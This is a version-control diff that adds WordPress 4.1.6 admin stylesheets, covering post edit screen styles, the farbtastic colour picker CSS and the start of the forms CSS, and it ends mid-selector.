+#post-body .misc-pub-revisions:before {
+	content: '\f321';
+}
+
+#timestampdiv {
+	padding-top: 5px;
+	line-height: 23px;
+}
+
+#timestampdiv p {
+	margin: 8px 0 6px;
+}
+
+#timestampdiv input {
+	border-width: 1px;
+	border-style: solid;
+}
+
+.notification-dialog {
+	position: fixed;
+	top: 30%;
+	left: 50%;
+	width: 450px;
+	margin-left: -225px;
+	background: #fff;
+	-webkit-box-shadow: 0 3px 6px rgba( 0, 0, 0, 0.3 );
+	box-shadow: 0 3px 6px rgba( 0, 0, 0, 0.3 );
+	line-height: 1.5;
+	z-index: 1000005;
+}
+
+.notification-dialog-background {
+	position: fixed;
+	top: 0;
+	left: 0;
+	right: 0;
+	bottom: 0;
+	background: #000;
+	opacity: 0.7;
+	filter: alpha(opacity=70);
+	z-index: 1000000;
+}
+
+#post-lock-dialog .post-locked-message,
+#post-lock-dialog .post-taken-over {
+	margin: 25px;
+}
+
+#post-lock-dialog .post-locked-message a.button {
+	margin-right: 10px;
+}
+
+#post-lock-dialog .post-locked-avatar {
+	float: left;
+	margin: 0 20px 20px 0;
+}
+
+#post-lock-dialog .wp-tab-first {
+	outline: 0;
+}
+
+#post-lock-dialog .locked-saving img {
+	float: left;
+	margin-right: 3px;
+}
+
+#post-lock-dialog.saving .locked-saving,
+#post-lock-dialog.saved .locked-saved {
+	display: inline;
+}
+
+#excerpt,
+.attachmentlinks {
+	margin: 0;
+	height: 4em;
+	width: 98%;
+}
+
+.tagchecklist {
+	margin-left: 14px;
+	font-size: 12px;
+	overflow: auto;
+}
+
+.tagchecklist br {
+	display: none;
+}
+
+.tagchecklist strong {
+	margin-left: -8px;
+	position: absolute;
+}
+
+.tagchecklist span {
+	margin-right: 25px;
+	display: block;
+	float: left;
+	font-size: 13px;
+	line-height: 1.8em;
+	white-space: nowrap;
+	cursor: default;
+}
+
+.tagchecklist span a {
+	margin: 1px 0 0 -17px;
+	cursor: pointer;
+	width: 20px;
+	height: 20px;
+	display: block;
+	float: left;
+	text-indent: 0;
+	overflow: hidden;
+	position: absolute;
+}
+
+#poststuff h2 {
+	margin-top: 20px;
+	font-size: 1.5em;
+	margin-bottom: 15px;
+	padding: 0 0 3px;
+	clear: left;
+}
+
+#poststuff h3 {
+	font-size: 14px;
+	padding: 8px 12px;
+	margin: 0;
+	line-height: 1.4;
+}
+
+#poststuff .inside {
+	margin: 6px 0 0 0;
+}
+
+#poststuff .inside #parent_id,
+#poststuff .inside #page_template {
+	max-width: 100%;
+}
+
+#poststuff .inside label.spam,
+#poststuff .inside label.deleted {
+	color: red;
+}
+
+#poststuff .inside label.waiting {
+	color: orange;
+}
+
+#poststuff .inside label.approved {
+	color: green;
+}
+
+.ie8 #poststuff .inside #parent_id,
+.ie8 #poststuff .inside #page_template {
+	width: 250px;
+}
+
+#post-visibility-select {
+	line-height: 1.5em;
+	margin-top: 3px;
+}
+
+#poststuff #submitdiv .inside {
+	margin: 0;
+	padding: 0;
+}
+
+#post-body-content,
+.edit-form-section {
+ 	margin-bottom: 20px;
+}
+
+/*------------------------------------------------------------------------------
+  11.1 - Custom Fields
+------------------------------------------------------------------------------*/
+
+#postcustomstuff thead th {
+	padding: 5px 8px 8px;
+	background-color: #f1f1f1;
+}
+
+#postcustom #postcustomstuff .submit {
+	border: 0 none;
+	float: none;
+	padding: 0 8px 8px;
+}
+
+#side-sortables #postcustom #postcustomstuff .submit {
+	margin: 0;
+	padding: 0;
+}
+
+#side-sortables #postcustom #postcustomstuff #the-list textarea {
+	height: 85px;
+}
+
+#side-sortables #postcustom #postcustomstuff td.left input,
+#side-sortables #postcustom #postcustomstuff td.left select,
+#side-sortables #postcustomstuff #newmetaleft a {
+	margin: 3px 3px 0;
+}
+
+#postcustomstuff table {
+	margin: 0;
+	width: 100%;
+	border: 1px solid #dfdfdf;
+	border-spacing: 0;
+	background-color: #f9f9f9;
+}
+
+#postcustomstuff tr {
+	vertical-align: top;
+}
+
+#postcustomstuff table input,
+#postcustomstuff table select,
+#postcustomstuff table textarea {
+	width: 96%;
+	margin: 8px;
+}
+
+#side-sortables #postcustomstuff table input,
+#side-sortables #postcustomstuff table select,
+#side-sortables #postcustomstuff table textarea {
+	margin: 3px;
+}
+
+#postcustomstuff th.left,
+#postcustomstuff td.left {
+	width: 38%;
+}
+
+#postcustomstuff .submit input {
+	margin: 0;
+	width: auto;
+}
+
+#postcustomstuff #newmetaleft a {
+	display: inline-block;
+	margin: 0 8px 8px;
+	text-decoration: none;
+}
+
+.no-js #postcustomstuff #enternew {
+	display: none;
+}
+
+#post-body-content .compat-attachment-fields {
+	margin-bottom: 20px;
+}
+
+.compat-attachment-fields th {
+	padding-top: 5px;
+	padding-right: 10px;
+}
+
+/*------------------------------------------------------------------------------
+  11.3 - Featured Images
+------------------------------------------------------------------------------*/
+
+#select-featured-image {
+	padding: 4px 0;
+	overflow: hidden;
+}
+
+#select-featured-image img {
+	max-width: 100%;
+	height: auto;
+	margin-bottom: 10px;
+}
+
+#select-featured-image a {
+	float: left;
+	clear: both;
+}
+
+#select-featured-image .remove {
+	display: none;
+	margin-top: 10px;
+}
+
+.js #select-featured-image.has-featured-image .remove {
+	display: inline-block;
+}
+
+.no-js #select-featured-image .choose {
+	display: none;
+}
+
+/*------------------------------------------------------------------------------
+  11.4 - Post formats
+------------------------------------------------------------------------------*/
+
+.post-state-format {
+	overflow: hidden;
+	display: inline-block;
+	vertical-align: middle;
+	height: 20px;
+	width: 20px;
+	margin-right: 5px;
+	margin-top: -4px;
+}
+
+.post-state-format:before {
+	display: block;
+	height: 20px;
+	width: 20px;
+	font: normal 20px/1 'dashicons' !important;
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+.post-state-format:before,
+.post-format-icon:before {
+	color: #ddd;
+	-webkit-transition: all .1s ease-in-out;
+	transition: all .1s ease-in-out;
+}
+
+a.post-state-format:hover:before,
+a.post-format-icon:hover:before {
+	color: #2ea2cc;
+}
+
+#post-formats-select {
+	line-height: 2em;
+}
+
+#post-formats-select .post-format-icon:before {
+	top: 5px;
+}
+
+input.post-format {
+	margin-top: 1px;
+}
+
+label.post-format-icon {
+	margin-left: 0px;
+	padding: 2px 0 2px 0px;
+}
+
+.post-format-icon:before {
+	position: relative;
+	display: inline-block;
+	margin-right: 7px;
+	font: normal 20px/1 'dashicons';
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+.post-state-format.post-format-standard:before,
+.post-format-icon.post-format-standard:before,
+a.post-state-format.format-standard:before {
+	content: '\f109';
+}
+
+.post-state-format.post-format-image:before,
+.post-format-icon.post-format-image:before,
+a.post-state-format.format-image:before {
+	content: '\f128';
+}
+
+.post-state-format.post-format-gallery:before,
+.post-format-icon.post-format-gallery:before,
+a.post-state-format.format-gallery:before {
+	content: '\f161';
+}
+
+.post-state-format.post-format-audio:before,
+.post-format-icon.post-format-audio:before,
+a.post-state-format.format-audio:before {
+	content: '\f127';
+}
+
+.post-state-format.post-format-video:before,
+.post-format-icon.post-format-video:before,
+a.post-state-format.format-video:before {
+	content: '\f126';
+}
+
+.post-state-format.post-format-chat:before,
+.post-format-icon.post-format-chat:before,
+a.post-state-format.format-chat:before {
+	content: '\f125';
+}
+
+.post-state-format.post-format-status:before,
+.post-format-icon.post-format-status:before,
+a.post-state-format.format-status:before {
+	content: '\f130';
+}
+
+.post-state-format.post-format-aside:before,
+.post-format-icon.post-format-aside:before,
+a.post-state-format.format-aside:before {
+	content: '\f123';
+}
+
+.post-state-format.post-format-quote:before,
+.post-format-icon.post-format-quote:before,
+a.post-state-format.format-quote:before {
+	content: '\f122';
+}
+
+.post-state-format.post-format-link:before,
+.post-format-icon.post-format-link:before,
+a.post-state-format.format-link:before {
+	content: '\f103';
+}
+
+/*------------------------------------------------------------------------------
+  12.0 - Categories
+------------------------------------------------------------------------------*/
+
+.category-adder {
+	margin-left: 120px;
+	padding: 4px 0;
+}
+
+.category-adder h4 {
+	margin: 0 0 8px;
+}
+
+#side-sortables .category-adder {
+	margin: 0;
+}
+
+.wp-tab-panel,
+.categorydiv div.tabs-panel,
+.customlinkdiv div.tabs-panel,
+.posttypediv div.tabs-panel,
+.taxonomydiv div.tabs-panel {
+	min-height: 42px;
+	max-height: 200px;
+	overflow: auto;
+	padding: 0 0.9em;
+	border: solid 1px #dfdfdf;
+	background-color: #fdfdfd;
+}
+
+div.tabs-panel-active {
+	display:block;
+}
+
+div.tabs-panel-inactive {
+	display:none;
+}
+
+#front-page-warning,
+#front-static-pages ul,
+ul.export-filters,
+.inline-editor ul.cat-checklist ul,
+.categorydiv ul.categorychecklist ul,
+.customlinkdiv ul.categorychecklist ul,
+.posttypediv ul.categorychecklist ul,
+.taxonomydiv ul.categorychecklist ul {
+	margin-left: 18px;
+}
+
+ul.categorychecklist li {
+	margin: 0;
+	padding: 0;
+	line-height: 22px;
+	word-wrap: break-word;
+}
+
+.categorydiv .tabs-panel,
+.customlinkdiv .tabs-panel,
+.posttypediv .tabs-panel,
+.taxonomydiv .tabs-panel {
+	border-width: 3px;
+	border-style: solid;
+}
+
+.form-wrap p,
+.form-wrap label {
+	font-size: 11px;
+}
+
+.form-wrap label {
+	display: block;
+	padding: 2px;
+	font-size: 12px;
+}
+
+.form-field input[type="text"],
+.form-field input[type="password"],
+.form-field input[type="email"],
+.form-field input[type="number"],
+.form-field input[type="search"],
+.form-field input[type="tel"],
+.form-field input[type="url"],
+.form-field textarea {
+	border-style: solid;
+	border-width: 1px;
+	width: 95%;
+}
+
+p.description,
+.form-wrap p {
+	margin: 2px 0 5px;
+	color: #666;
+}
+
+p.help,
+p.description,
+span.description,
+.form-wrap p {
+	font-size: 13px;
+	font-style: italic;
+}
+
+.form-wrap .form-field {
+	margin: 0 0 10px;
+	padding: 8px 0;
+}
+
+.form-wrap .form-field #parent {
+	max-width: 100%;
+}
+
+.col-wrap h3 {
+	margin: 12px 0;
+	font-size: 1.1em;
+}
+
+.col-wrap p.submit {
+	margin-top: -10px;
+}
+
+
+/*------------------------------------------------------------------------------
+  13.0 - Tags
+------------------------------------------------------------------------------*/
+
+.tagsdiv {
+	margin-top: -8px;
+}
+
+#poststuff .taghint {
+	color: #aaa;
+	margin: 15px 0 -24px 12px;
+}
+
+#poststuff .tagsdiv .howto {
+	margin: 0 0 6px 0;
+}
+
+.ajaxtag .newtag {
+	position: relative;
+}
+
+.tagsdiv .newtag {
+	width: 180px;
+}
+
+.tagsdiv .the-tags {
+	display: block;
+	height: 60px;
+	margin: 0 auto;
+	overflow: auto;
+	width: 260px;
+}
+
+#post-body-content .tagsdiv .the-tags {
+	margin: 0 5px;
+}
+
+/* tag hints */
+.taghint {
+	color: #aaa;
+	margin: -17px 0 0 7px;
+	visibility: hidden;
+}
+
+input.newtag ~ div.taghint {
+	visibility: visible;
+}
+
+input.newtag:focus ~ div.taghint {
+	visibility: hidden;
+}
+
+p.popular-tags {
+	border: none;
+	line-height: 2em;
+	padding: 8px 12px 12px;
+	text-align: justify;
+}
+
+p.popular-tags a {
+	padding: 0 3px;
+}
+
+.tagcloud {
+	width: 97%;
+	margin: 0 0 40px;
+	text-align: justify;
+}
+
+.tagcloud h3 {
+	margin: 2px 0 12px;
+}
+
+.ac_results {
+	padding: 0;
+	margin: 0;
+	list-style: none;
+	position: absolute;
+	z-index: 10000;
+	display: none;
+	border: 1px solid #808080;
+	background-color: #fff;
+}
+
+.wp-customizer .ac_results {
+	z-index: 500000;
+}
+
+.ac_results li {
+	padding: 2px 5px;
+	white-space: nowrap;
+	color: #101010;
+	text-align: left;
+}
+
+.ac_over {
+	background-color: #f0f0b8;
+	cursor: pointer;
+}
+
+.ac_match {
+	text-decoration: underline;
+}
+
+/* Comments */
+
+.comment-php .wp-editor-area {
+	height: 200px;
+}
+
+.comment-ays {
+	margin-bottom: 0;
+	border-bottom-style: solid;
+	border-bottom-width: 1px;
+}
+
+.comment-ays .alt {
+	background-color: transparent;
+}
+
+.trash-undo-inside,
+.spam-undo-inside {
+	margin: 1px 8px 1px 0;
+	line-height: 16px;
+}
+
+.spam-undo-inside .avatar,
+.trash-undo-inside .avatar {
+	height: 20px;
+	width: 20px;
+	margin-right: 8px;
+	vertical-align: middle;
+}
+
+.stuffbox .editcomment {
+	clear: none;
+}
+
+#comment-status-radio p {
+	margin: 3px 0 5px;
+}
+
+#comment-status-radio input {
+	margin: 2px 3px 5px 0;
+	vertical-align: middle;
+}
+
+#comment-status-radio label {
+	padding: 5px 0;
+}
+
+/* links tables */
+table.links-table {
+	width: 100%;
+	border-spacing: 0;
+}
+
+.links-table th {
+	font-weight: normal;
+	text-align: left;
+	vertical-align: top;
+	min-width: 80px;
+	width: 20%;
+	word-wrap: break-word;
+}
+
+.links-table th,
+.links-table td {
+	padding: 5px 0;
+}
+
+.links-table td label {
+	margin-right: 8px;
+}
+
+.links-table td input[type="text"],
+.links-table td textarea {
+	width: 100%;
+}
+
+.links-table #link_rel {
+	max-width: 280px;
+}
+
+/* DFW 2
+-------------------------------------------------------------- */
+
+#wp-content-wrap .mce-wp-dfw,
+#qt_content_dfw {
+	display: none;
+}
+
+.wp-editor-expand #wp-content-wrap .mce-wp-dfw,
+.wp-editor-expand #qt_content_dfw {
+	display: inline-block;
+}
+
+.focus-on .wrap > h2,
+.focus-on #wpfooter,
+.focus-on .postbox-container > *,
+.focus-on div.updated,
+.focus-on div.error,
+.focus-on div.notice,
+.focus-on #wp-toolbar,
+.focus-on #screen-meta-links,
+.focus-on #screen-meta {
+	opacity: 0;
+	-webkit-transition-duration: 0.6s;
+	transition-duration: 0.6s;
+	-webkit-transition-property: opacity;
+	transition-property: opacity;
+	-webkit-transition-timing-function: ease-in-out;
+	transition-timing-function: ease-in-out;
+}
+
+.focus-on #wp-toolbar {
+	opacity: 0.3;
+}
+
+.focus-off .wrap > h2,
+.focus-off #wpfooter,
+.focus-off .postbox-container > *,
+.focus-off div.updated,
+.focus-off div.error,
+.focus-off div.notice,
+.focus-off #wp-toolbar,
+.focus-off #screen-meta-links,
+.focus-off #screen-meta {
+	opacity: 1;
+	-webkit-transition-duration: 0.2s;
+	transition-duration: 0.2s;
+	-webkit-transition-property: opacity;
+	transition-property: opacity;
+	-webkit-transition-timing-function: ease-in-out;
+	transition-timing-function: ease-in-out;
+}
+
+.focus-off #wp-toolbar {
+	-webkit-transform: translate(0, 0);
+}
+
+.focus-on #adminmenuback,
+.focus-on #adminmenuwrap {
+	-webkit-transition-duration: 0.6s;
+	transition-duration: 0.6s;
+	-webkit-transition-property: -webkit-transform;
+	transition-property: transform;
+	-webkit-transition-timing-function: ease-in-out;
+	transition-timing-function: ease-in-out;
+}
+
+/* @noflip */
+.focus-on #adminmenuback,
+.focus-on #adminmenuwrap {
+	-webkit-transform: translateX( -100% );
+	-ms-transform: translateX( -100% );
+	transform: translateX( -100% );
+}
+
+/* @noflip */
+.rtl.focus-on #adminmenuback,
+.rtl.focus-on #adminmenuwrap {
+	-webkit-transform: translateX( 100% );
+	-ms-transform: translateX( 100% );
+	transform: translateX( 100% );
+}
+
+.focus-off #adminmenuback,
+.focus-off #adminmenuwrap {
+	-webkit-transform: translateX( 0 );
+	-ms-transform: translateX( 0 );
+	transform: translateX( 0 );
+	-webkit-transition-duration: 0.2s;
+	transition-duration: 0.2s;
+	-webkit-transition-property: -webkit-transform;
+	transition-property: transform;
+	-webkit-transition-timing-function: ease-in-out;
+	transition-timing-function: ease-in-out;
+}
+
+/* =Media Queries
+-------------------------------------------------------------- */
+
+/**
+ * HiDPI Displays
+ */
+@media print,
+  (-o-min-device-pixel-ratio: 5/4),
+  (-webkit-min-device-pixel-ratio: 1.25),
+  (min-resolution: 120dpi) {
+	#content-resize-handle,
+	#post-body .wp_themeSkin .mceStatusbar a.mceResize {
+		background: transparent url(../images/resize-2x.gif) no-repeat scroll right bottom;
+		-webkit-background-size: 11px 11px;
+		background-size: 11px 11px;
+	}
+
+	.rtl #content-resize-handle,
+	.rtl #post-body .wp_themeSkin .mceStatusbar a.mceResize {
+		background: transparent url(../images/resize-rtl-2x.gif) no-repeat scroll right bottom;
+	}
+}
+
+/* one column on the post write/edit screen */
+@media only screen and (max-width: 850px) {
+	#poststuff {
+		min-width: 0;
+	}
+
+	#wpbody-content #poststuff #post-body {
+		margin: 0;
+	}
+
+	#wpbody-content #post-body.columns-2 #postbox-container-1 {
+		margin-right: 0;
+		width: 100%;
+	}
+
+	#poststuff #postbox-container-1 .empty-container,
+	#poststuff #postbox-container-1 #side-sortables:empty {
+		border: 0 none;
+		height: 0;
+		min-height: 0;
+	}
+
+	#poststuff #post-body.columns-2 #side-sortables {
+		min-height: 0;
+		width: auto;
+	}
+
+	/* hide the radio buttons for column prefs */
+	.screen-layout,
+	.columns-prefs {
+		display: none;
+	}
+}
+
+@media screen and ( max-width: 782px ) {
+	#post-body-content {
+		min-width: 0;
+	}
+
+	#titlediv #title-prompt-text {
+		padding: 10px 10px;
+	}
+
+	#poststuff h3 {
+		padding: 12px;
+	}
+
+	.post-format-options {
+		padding-right: 0;
+	}
+
+	.post-format-options a {
+		margin-right: 5px;
+		margin-bottom: 5px;
+		min-width: 52px;
+	}
+
+	.post-format-options .post-format-title {
+		font-size: 11px;
+	}
+
+	.post-format-options a div {
+		height: 28px;
+		width: 28px;
+	}
+
+	.post-format-options a div:before {
+		font-size: 26px !important;
+	}
+
+	/* Publish Metabox Options */
+	#post-visibility-select {
+		line-height: 280%;
+	}
+
+	.wp-core-ui .save-post-visibility,
+	.wp-core-ui .save-timestamp {
+		vertical-align: middle;
+		margin-right: 15px;
+	}
+
+	.timestamp-wrap select#mm {
+		display: block;
+		width: 100%;
+		margin-bottom: 10px;
+	}
+
+	.timestamp-wrap #jj,
+	.timestamp-wrap #aa,
+	.timestamp-wrap #hh,
+	.timestamp-wrap #mn {
+		padding: 12px 3px;
+		font-size: 14px;
+		margin-bottom: 5px;
+		width: auto;
+		text-align: center;
+	}
+
+	/* Categories Metabox */
+	ul.category-tabs {
+		margin: 30px 0 15px;
+	}
+
+	ul.category-tabs li.tabs {
+		padding: 15px;
+	}
+
+	ul.categorychecklist li {
+		margin-bottom: 15px;
+	}
+
+	ul.categorychecklist ul {
+		margin-top: 15px;
+	}
+
+	.category-add input[type=text],
+	.category-add select {
+		max-width: none;
+		margin-bottom: 15px;
+	}
+
+	/* Tags Metabox */
+	.tagsdiv .newtag {
+		width: 100%;
+		height: auto;
+		margin-bottom: 15px;
+	}
+
+	.tagchecklist {
+		margin: 25px 10px;
+	}
+
+	.tagchecklist span {
+		font-size: 16px;
+		line-height: 120%;
+	}
+
+	/* Discussion */
+	#commentstatusdiv p {
+		line-height: 2.8;
+	}
+
+	/* TinyMCE Adjustments */
+	.mceToolbar * {
+		white-space: normal !important;
+	}
+
+	.mceToolbar tr,
+	.mceToolbar td {
+		float: left !important;
+	}
+
+	.wp_themeSkin a.mceButton {
+		width: 30px;
+		height: 30px;
+	}
+
+	.wp_themeSkin .mceButton .mceIcon {
+		margin-top: 5px;
+		margin-left: 5px;
+	}
+
+	.wp_themeSkin .mceSplitButton {
+		margin-top: 1px;
+	}
+
+	.wp_themeSkin .mceSplitButton td a.mceAction {
+		padding-top: 6px;
+		padding-bottom: 6px;
+		padding-left: 6px;
+		padding-right: 3px;
+	}
+
+	.wp_themeSkin .mceSplitButton td a.mceOpen,
+	.wp_themeSkin .mceSplitButtonEnabled:hover td a.mceOpen {
+		padding-top: 6px;
+		padding-bottom: 6px;
+		background-position: 1px 6px;
+	}
+
+	.wp_themeSkin table.mceListBox {
+		margin: 5px;
+	}
+
+	div.quicktags-toolbar input {
+		padding: 10px 20px;
+	}
+
+	button.wp-switch-editor {
+		font-size: 16px;
+		line-height: 1em;
+		margin: 7px 0 0 7px;
+		padding: 8px 12px;
+	}
+
+	#wp-content-media-buttons a {
+		font-size: 16px;
+		line-height: 37px;
+		height: 39px;
+		padding: 0 20px 0 15px;
+	}
+
+	.wp-media-buttons span.wp-media-buttons-icon,
+	.wp-media-buttons span.jetpack-contact-form-icon {
+		width: 22px !important;
+		margin-top: -3px !important;
+		margin-left: -5px !important;
+	}
+
+	.wp-media-buttons .add_media span.wp-media-buttons-icon:before,
+	.wp-media-buttons #insert-jetpack-contact-form span.jetpack-contact-form-icon:before {
+		font-size: 20px !important;
+	}
+
+	#content_wp_fullscreen {
+		display: none;
+	}
+
+	.misc-pub-section {
+		padding: 20px 10px 20px;
+	}
+
+	.misc-pub-section > a {
+		float: right;
+		font-size: 16px;
+	}
+
+	#delete-action,
+	#publishing-action {
+		line-height: 47px;
+	}
+
+	/* Moderate Comment */
+	.comment-ays {
+		border-bottom: none;
+	}
+
+	/* Links */
+	.links-table #link_rel {
+		max-width: none;
+	}
+
+	.links-table th,
+	.links-table td {
+		padding: 10px 0;
+	}
+}
+
+@media only screen and (max-width: 500px) {
+	/* Align Add Media + Visual + Text tabs */
+	#wp-content-media-buttons a {
+		font-size: 14px;
+		padding: 0 10px 0 10px;
+	}
+}
Index: /tags/4.1.6/src/wp-admin/css/farbtastic.css
===================================================================
--- /tags/4.1.6/src/wp-admin/css/farbtastic.css	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/farbtastic.css	(revision 33402)
@@ -0,0 +1,41 @@
+
+.farbtastic {
+  position: relative;
+}
+
+.farbtastic * {
+  position: absolute;
+  cursor: crosshair;
+}
+
+.farbtastic,
+.farbtastic .wheel {
+  width: 195px;
+  height: 195px;
+}
+
+.farbtastic .color,
+.farbtastic .overlay {
+  top: 47px;
+  left: 47px;
+  width: 101px;
+  height: 101px;
+}
+
+.farbtastic .wheel {
+  background: url(../images/wheel.png) no-repeat;
+  width: 195px;
+  height: 195px;
+}
+
+.farbtastic .overlay {
+  background: url(../images/mask.png) no-repeat;
+}
+
+.farbtastic .marker {
+  width: 17px;
+  height: 17px;
+  margin: -8px 0 0 -8px;
+  overflow: hidden;
+  background: url(../images/marker.png) no-repeat;
+}
Index: /tags/4.1.6/src/wp-admin/css/forms.css
===================================================================
--- /tags/4.1.6/src/wp-admin/css/forms.css	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/forms.css	(revision 33402)
@@ -0,0 +1,1040 @@
+/* Include margin and padding in the width calculation of input and textarea. */
+input,
+textarea {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+input[type="text"],
+input[type="password"],
+input[type="checkbox"],
+input[type="color"],
+input[type="date"],
+input[type="datetime"],
+input[type="datetime-local"],
+input[type="email"],
+input[type="month"],
+input[type="number"],
+input[type="password"],
+input[type="search"],
+input[type="radio"],
+input[type="tel"],
+input[type="text"],
+input[type="time"],
+input[type="url"],
+input[type="week"],
+select,
+textarea {
+	border: 1px solid #ddd;
+	-webkit-box-shadow: inset 0 1px 2px rgba( 0, 0, 0, 0.07 );
+	box-shadow: inset 0 1px 2px rgba( 0, 0, 0, 0.07 );
+	background-color: #fff;
+	color: #333;
+	outline: none;
+	-webkit-transition: 0.05s border-color ease-in-out;
+	transition: 0.05s border-color ease-in-out;
+}
+
+input[type="text"]:focus,
+input[type="password"]:focus,
+input[type="color"]:focus,
+input[type="date"]:focus,
+input[type="datetime"]:focus,
+input[type="datetime-local"]:focus,
+input[type="email"]:focus,
+input[type="month"]:focus,
+input[type="number"]:focus,
+input[type="password"]:focus,
+input[type="search"]:focus,
+input[type="tel"]:focus,
+input[type="text"]:focus,
+input[type="time"]:focus,
+input[type="url"]:focus,
+input[type="week"]:focus,
+input[type="checkbox"]:focus,
+input[type="radio"]:focus,
+select:focus,
+textarea:focus {
+	border-color: #5b9dd9;
+	-webkit-box-shadow: 0 0 2px rgba( 30, 140, 190, 0.8 );
+	box-shadow: 0 0 2px rgba( 30, 140, 190, 0.8 );
+}
+
+/* @noflip */
+input[type="email"],
+input[type="url"] {
+	direction: ltr;
+}
+
+input[type="checkbox"],
+input[type="radio"] {
+	border: 1px solid #bbb;
+	background: #fff;
+	color: #555;
+	clear: none;
+	cursor: pointer;
+	display: inline-block;
+	line-height: 0;
+	height: 16px;
+	margin: -4px 4px 0 0;
+	outline: 0;
+	padding: 0 !important;
+	text-align: center;
+	vertical-align: middle;
+	width: 16px;
+	min-width: 16px;
+	-webkit-appearance: none;
+	-webkit-box-shadow: inset 0 1px 2px rgba( 0, 0, 0, 0.1 );
+	box-shadow: inset 0 1px 2px rgba( 0, 0, 0, 0.1 );
+	-webkit-transition: .05s border-color ease-in-out;
+	transition: .05s border-color ease-in-out;
+}
+
+input[type="radio"]:checked + label:before {
+	color: #888;
+}
+
+.wp-core-ui input[type="reset"]:hover,
+.wp-core-ui input[type="reset"]:active {
+	color: #2ea2cc;
+}
+
+td > input[type="checkbox"],
+.wp-admin p input[type="checkbox"],
+.wp-admin p input[type="radio"] {
+	margin-top: 0;
+}
+
+.wp-admin p label input[type="checkbox"] {
+	margin-top: -4px;
+}
+
+.wp-admin p label input[type="radio"] {
+	margin-top: -2px;
+}
+
+input[type="radio"] {
+	-webkit-border-radius: 50%;
+	border-radius: 50%;
+	margin-right: 4px;
+	line-height: 10px;
+}
+
+input[type="checkbox"]:checked:before,
+input[type="radio"]:checked:before {
+	float: left;
+	display: inline-block;
+	vertical-align: middle;
+	width: 16px;
+	font: normal 21px/1 'dashicons';
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+input[type="checkbox"]:checked:before {
+	content: '\f147';
+	margin: -3px 0 0 -4px;
+	color: #1e8cbe;
+}
+
+input[type="radio"]:checked:before {
+	content: '\2022';
+	text-indent: -9999px;
+	-webkit-border-radius: 50px;
+	border-radius: 50px;
+	font-size: 24px;
+	width: 6px;
+	height: 6px;
+	margin: 4px;
+	line-height: 16px;
+	background-color: #1e8cbe;
+}
+
+@-moz-document url-prefix() {
+	input[type="checkbox"],
+	input[type="radio"],
+	.form-table input.tog {
+		margin-bottom: -1px;
+	}
+}
+
+/* Search */
+input[type="search"] {
+	-webkit-appearance: textfield;
+}
+
+input[type="search"]::-webkit-search-decoration {
+	display: none;
+}
+
+.ie8 input[type="password"] {
+	font-family: sans-serif;
+}
+
+textarea,
+input,
+select,
+button {
+	font-family: inherit;
+	font-size: inherit;
+	font-weight: inherit;
+}
+
+textarea,
+input,
+select {
+	font-size: 14px;
+	padding: 3px 5px;
+	-webkit-border-radius: 0;
+	border-radius: 0; /* Reset mobile webkit's default element styling */
+}
+
+textarea {
+	overflow: auto;
+	padding: 2px 6px;
+	line-height: 1.4;
+}
+
+.wp-admin input[type="file"] {
+	padding: 3px 0;
+}
+
+label {
+	cursor: pointer;
+}
+
+input,
+select {
+	margin: 1px;
+	padding: 3px 5px;
+}
+
+input.code {
+	padding-top: 6px;
+}
+
+textarea.code {
+	line-height: 1.4;
+	padding: 4px 6px 1px 6px;
+}
+
+input.readonly,
+input[readonly],
+textarea.readonly,
+textarea[readonly] {
+	background-color: #eee;
+}
+
+:-moz-placeholder,
+.wp-core-ui :-moz-placeholder {
+   color: #a9a9a9;
+}
+
+.form-invalid {
+	background-color: #ffebe8 !important;
+}
+
+.form-invalid input,
+.form-invalid select {
+	border-color: #c00 !important;
+}
+
+.form-input-tip {
+	color: #666;
+}
+
+input:disabled,
+input.disabled,
+select:disabled,
+select.disabled,
+textarea:disabled,
+textarea.disabled {
+	background: rgba( 255, 255, 255, 0.5 );
+	border-color: rgba( 222, 222, 222, 0.75 );
+	-webkit-box-shadow: inset 0 1px 2px rgba( 0, 0, 0, 0.04 );
+	box-shadow: inset 0 1px 2px rgba( 0, 0, 0, 0.04 );
+	color: rgba( 51, 51, 51, 0.5 );
+}
+
+input[type="file"]:disabled,
+input[type="file"].disabled,
+input[type="range"]:disabled,
+input[type="range"].disabled {
+	background: none;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+input[type="checkbox"]:disabled,
+input[type="checkbox"].disabled,
+input[type="radio"]:disabled,
+input[type="radio"].disabled,
+input[type="checkbox"]:disabled:checked:before,
+input[type="checkbox"].disabled:checked:before,
+input[type="radio"]:disabled:checked:before,
+input[type="radio"].disabled:checked:before {
+	opacity: 0.7;
+}
+
+/*------------------------------------------------------------------------------
+  2.0 - Forms
+------------------------------------------------------------------------------*/
+
+
+.wp-admin select {
+	padding: 2px;
+	line-height: 28px;
+	height: 28px;
+	vertical-align: middle;
+}
+
+.wp-admin .button-cancel {
+	padding: 0 5px;
+	line-height: 2;
+}
+
+.meta-box-sortables select {
+	max-width: 100%;
+}
+
+.wp-admin select[multiple] {
+	height: auto;
+}
+
+.submit {
+	padding: 1.5em 0;
+	margin: 5px 0;
+	-webkit-border-bottom-left-radius: 3px;
+	border-bottom-left-radius: 3px;
+	-webkit-border-bottom-right-radius: 3px;
+	border-bottom-right-radius: 3px;
+	border: none;
+}
+
+form p.submit a.cancel:hover {
+	text-decoration: none;
+}
+
+p.submit {
+	text-align: left;
+	max-width: 100%;
+	margin-top: 20px;
+	padding-top: 10px;
+}
+
+.textright p.submit {
+	border: none;
+	text-align: right;
+}
+
+table.form-table + p.submit,
+table.form-table + input + p.submit,
+table.form-table + input + input + p.submit {
+	border-top: none;
+	padding-top: 0;
+}
+
+#minor-publishing-actions input,
+#major-publishing-actions input,
+#minor-publishing-actions .preview {
+	text-align: center;
+}
+
+textarea.all-options,
+input.all-options {
+	width: 250px;
+}
+
+input.large-text,
+textarea.large-text {
+	width: 99%;
+}
+
+input.regular-text,
+#adduser .form-field input {
+	width: 25em;
+}
+
+input.small-text {
+	width: 50px;
+	padding: 1px 6px;
+}
+
+input[type="number"].small-text {
+	width: 65px;
+}
+
+#doaction,
+#doaction2,
